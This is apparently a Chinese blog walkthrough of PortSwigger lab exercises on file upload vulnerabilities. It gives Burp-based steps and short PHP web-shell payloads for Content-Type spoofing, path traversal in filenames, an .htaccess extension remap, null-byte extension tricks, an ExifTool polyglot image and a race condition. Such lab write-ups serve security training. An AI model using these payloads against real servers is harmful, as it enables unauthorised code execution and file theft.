File upload vulnerabilities
1. Remote code execution via web shell upload
通过 Web shell 上传远程执行代码
目标:读取/home/carlos/secret
文件的内容
过程
登录用户,选择一个图片上传。用 burp 分别拦截“上传文件”和“查看文件”的数据包,一个 POST 请求,另一个是 GET 请求
在 burp 上传文件中文件名后缀改为.php
,删除原来图片的内容,替换为 php webshell,并且上传
在查看文件数据包中,访问上传的 webshell;或者回到浏览器,先刷新页面,后右键图片在新标签页打开
# PHP 的读取代码
<?php echo file_get_contents('/home/carlos/secret'); ?>
# file_get_contents() 把整个文件读入一个字符串中。
2. Web shell upload via Content-Type restriction bypass
通过 Content-Type 限制绕过 Web shell 上传
先登录,上传图片,在 burp 的 http history 中拦截“上传文件”和“查看文件”的数据包,并转发到 Repeater,重命名为Upload File
Show File
以便更好地观察
在 burp 上传文件中,修改名称、删除图片内容替换为 php webshell,最重要的一点是将Content-Type
修改为image/jpeg
后续步骤如法炮制而来
<?php echo file_get_contents('/home/carlos/secret'); ?>
3. Web shell upload via path traversal
Web Shell 通过路径遍历上传
传入 webshell 后<?php echo file_get_contents('/home/carlos/secret'); ?>
,访问文件的时候显示了未经解析的源代码,由此想到该目录没有执行权限,需要上传到其他目录,进行目录遍历
在 burp 上传数据包,将文件名改为../文件名
,需要经过 URL 编码,编码后是..%2f文件名
,文件将被上传到“上一层”文件夹
4. Web shell upload via extension blacklist bypass
Web Shell上传通过扩展黑名单绕过
按照往常一样上传 PHP webshell,服务器回答说“不允许”上传 PHP 文件。从响应中,注意到正在运行的服务器是 Apache,
.htaccess
文件是 Apache 服务器的一个配置文件,负责相关目录下的网页配置。能够实现改变文件扩展名、允许/阻止特定的用户或者目录的访问
可以欺骗 Apache 服务器将任意自定义文件扩展名映射到可执行的 MIME 类型。
第一步、修改.htaccess
文件
# 修改名称
.htaccess
# 修改 Content-Type
text/plain
# 修改内容
AddType application/x-httpd-php .shell
实现的功能就是:所有上传的.shell
文件都会被当作php
文件执行
接着上传一个后缀名为shell
的文件,完成实验室任务
# 修改名称
code.shell
# 修改 Content-Type
image、png
# 修改内容
<?php echo file_get_contents('/home/carlos/secret'); ?>
5. Web shell upload via obfuscated file extension
通过混淆文件扩展名上传 Web Shell
利用%00 截断
文件名用 Burp 改 code.php%00.png
、
在 url 中 %00 表示 ascll 码中的 0 ,而 ascii 中 0 作为特殊字符保留,表示字符串结束,所以当 url 中出现 %00 时就会认为读取已结束
当一个字符串中存在空字符的时候,在被解析的时候会导致空字符后面的字符被丢弃
6. Remote code execution via polyglot web shell upload
通过多语言 web shell 上传远程代码执行
服务器可能通过图像的字节序列来判断是否是jpeg、png
文件等;使用 ExifTool 创建包含元数据中恶意代码的多语言 JPEG 文件
在 kali 中安装 ExifTool
apt install libimage-exiftool-perl
利用 ExifTool
exiftool -Comment="<?php echo 'START ' . file_get_contents('/home/carlos/secret') . ' END'; ?>" code.jpg -o code.php
7. Web shell upload via race condition
通过竞争条件上传 Web shell
通过 Race Condition,上传的 webshell 文件会先存到一个文件夹中,然后才会确认是否合法,如果不合法再删掉。文件被删除之前这段间隙去突破
标签:Web,shell,文件,Portswigger,upload,via,靶场,上传 From: https://www.cnblogs.com/yii-ling/p/17132035.html